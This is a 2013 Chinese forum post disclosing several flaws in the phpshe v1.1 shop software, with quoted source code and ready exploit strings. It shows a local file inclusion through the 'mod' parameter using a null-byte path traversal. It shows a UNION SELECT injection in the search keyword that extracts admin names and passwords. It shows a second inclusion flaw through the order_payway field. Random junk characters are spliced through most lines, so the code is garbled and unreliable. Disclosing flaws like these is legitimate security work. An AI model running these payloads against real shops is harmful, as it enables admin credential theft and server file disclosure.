找回密码
 立即注册
查看: 3345|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
7 F! l1 T; D" c& q( o/* Phpshe v1.1 Vulnerability
9 f* j; T7 B% s# J& c4 l; e/* ========================& a9 Z& U+ Q! q- r" C. M- D8 u5 A
/* By: : Kn1f32 P- ?" p; I5 r9 a) U* Q- R. Q
/* E-Mail : 681796@qq.com9 h; O2 u+ t2 [6 E* n  N* A/ w' U" Z$ |
/*******************************************************/+ q( G  x- v! H" q# ]# Z( r
0×00 整体大概参数传输# E0 l1 L* Z9 c" X( Y2 {$ @/ f3 j) V
& ~" X  p$ r: t; {/ i: O

6 ~3 N+ H) G. k# ~9 r( P6 m
' w7 N4 ^' f9 G) A
//common.php
8 B6 V# `; z2 r4 l' nif (get_magic_quotes_gpc()) {
" A  D$ ?) z$ c1 {!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');+ ?* f6 L0 I/ G% N, b5 c5 z" g
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
7 l8 }) ~8 I  S4 h9 X' t8 F}
" D- y6 [! D+ |" g4 D! `else {+ n& T- v# {5 n/ A
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');- w: ^% K' m* a9 g2 Z
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');6 K' S- H* \( N$ J* t
}; }; o; M" M" Y2 ?3 b& U/ U6 q# P
session_start();
" s+ s! y& O% C!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');- R1 r$ d. ]( ~. D, n. L0 B
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');1 Y: ]/ Y( w0 C6 i

) b0 H' M+ f$ e4 M0 L! C& J9 |! M0×01 包含漏洞
8 c3 W. k8 a& v7 A" T) v9 L: S) l
* o. r0 Y. G3 q+ |; G# _

" E8 N; B+ S$ a//首页文件) J2 z5 x5 N. S. ^2 t
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);( u1 u# t. N4 [8 }7 y
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
$ V+ e& c: {5 _: u0 Z2 ~8 Dpe_result();+ |5 g! q+ h( q3 f3 t& p4 Y. H2 ?5 u0 W
?>( C2 }! I% [6 _/ V- g" P
//common 文件 第15行开始
# A: u6 u# P5 \! z0 ^8 W. u5 Vurl路由配置
/ h/ b4 [# z/ n  S$ I, u$module = $mod = $act = 'index';+ Y) t' s0 u$ Q- }& S( K9 k
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);! T# C5 c' n+ l  E3 ^
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);. Z7 o. [6 W. ?3 ~
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);0 H2 m7 i& {+ x) q
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
8 W- ]' z7 a/ K9 M# z# y: t


8 [# N% f  S; I& j# V
8 a' {) H; s. @* ^5 C; v 0×02 搜索注入% z  S$ S) Z% J% j( J
$ l0 O6 b- b' z9 t
<code id="code2">

//product.php文件8 F- v( F  n2 o; \/ T2 d, p
case 'list':
! G3 P2 Y2 e% c6 C( \7 d$category_id = intval($id);
$ t9 \: A( H$ z2 a$info = $db->pe_select('category', array('category_id'=>$category_id));
& I9 d1 e$ j: E) }4 F//搜索
0 ^3 D2 i/ r- i$ d; _( d( {$sqlwhere = " and `product_state` = 1";/ I  j( d& R. `; B; W9 V
pe_lead('hook/category.hook.php');
8 ]; L% }! C# C: ?5 Jif ($category_id) {
' P) g- L4 r; F4 T5 Z; Qwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
9 A" q& x% z* D) F" W' T}1 t, d* l7 T# l3 w9 A
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤- t% h  c- f" N! f3 j
if ($_g_orderby) {8 @! x' {7 k9 _9 Y3 ?1 r
$orderby = explode('_', $_g_orderby);
9 {1 v/ o2 D1 L/ h% B% R$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";! a! @0 }7 ]* j% V4 C
}
+ A7 N9 e2 y/ L; telse {2 ~+ f3 D7 K' T/ ^! x$ G
$sqlwhere .= " order by `product_id` desc";+ J( e  _+ w: p: u7 V( V7 k5 M
}
, ?3 S8 F  @% K# N$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));: R0 c) @6 j' m: b8 F6 d
//热卖排行& ~0 {) e7 G% J6 P, [
$product_hotlist = product_hotlist();  D4 |1 V  D$ W
//当前路径
  H& K5 x, _. e$nowpath = category_path($category_id);
% i+ x1 C: d1 C$seo = pe_seo($info['category_name']);6 p0 a& Q$ B: o+ D' ^+ O; H5 r
include(pe_tpl('product_list.html'));
0 Y7 D7 Y" N9 v# M# O6 R5 g//跟进selectall函数库! @6 m& X+ A' L* G8 n! m( q
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
9 K: u4 p4 W7 b  c7 K, x{. d! d9 z. X% B. s7 y0 L
//处理条件语句
+ C) ]9 Y7 T! U! {: h' M) p9 K$sqlwhere = $this->_dowhere($where);2 u5 M7 w+ w$ L  @, d# u& ]; u
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);; F" z) u( Q/ ]+ X/ s9 g
}9 U, t, q: F2 z, Q. E
//exp
7 F& x' Y& W; l0 X) Wproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1% l7 n, I) s- E8 K; [/ g* {. I

</code>! I# b- H1 B2 X4 u: `5 {

! w& m8 Z: H3 W! }0×03 包含漏洞2* Z: ]- I) J) w% g( l

/ |3 s. t6 ^+ D; L0 K<code id="code3">

//order.php

case 'pay':


6 G  ^+ K2 l4 H) C$order_id = pe_dbhold($_g_id);

( b; V- n, L4 a) P/ L# \
$cache_payway = cache::get('payway');

9 R* C0 `% e' m5 y0 O1 B
foreach($cache_payway as $k => $v) {

, z- L+ I/ B3 R* I7 V
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


! h& q+ g! f+ i8 P( L* Q/ Dif ($k == 'bank') {


8 T! x8 F5 I5 @/ R+ M$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


! h  W+ x7 ^$ r}


7 D7 L/ {5 n, I5 f% i}

9 l- X- i" h4 X: a4 j
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


4 K5 K* Q, m) P* P# H, z( z8 a!$order['order_id'] && pe_error('订单号错误...');


5 b* c- U8 P+ q! kif (isset($_p_pesubmit)) {

7 P; `0 @3 Q0 L4 l
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

# x5 H& n. r7 g* I/ Q
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


3 z: q" g2 p+ E! l4 h+ nforeach ($info_list as $v) {

" T4 D1 C0 L/ S) k7 R* J# S; o) P
$order['order_name'] .= "{$v['product_name']};";
) m( Z7 n7 H0 [- `/ C+ J


7 h1 ?, Y, X) u* o0 F7 W, ?! M}

6 V8 P. s- X6 B( i- @4 [
echo '正在为您连接支付网站,请稍后...';

- x9 A/ G$ E7 z
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


5 x4 n& n/ M+ S0 S}//当一切准备好的时候就可以进行"鸡肋包含了"

& X+ g$ q9 G! C9 d  o
else {


0 E, `2 P: Y; e: p8 E* ~pe_error('支付错误...');


2 X# l) O  l6 K% t8 x" u}

; a  H7 H# v' q+ G
}


* h/ T/ }1 l+ y' Y, E+ c$seo = pe_seo('选择支付方式');


# `: R) x4 G7 Z# k, @include(pe_tpl('order_pay.html'));


+ s9 ]) F3 H1 f8 b# Q/ dbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
/ I# I$ y* j; s& u- ]2 ]9 C

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表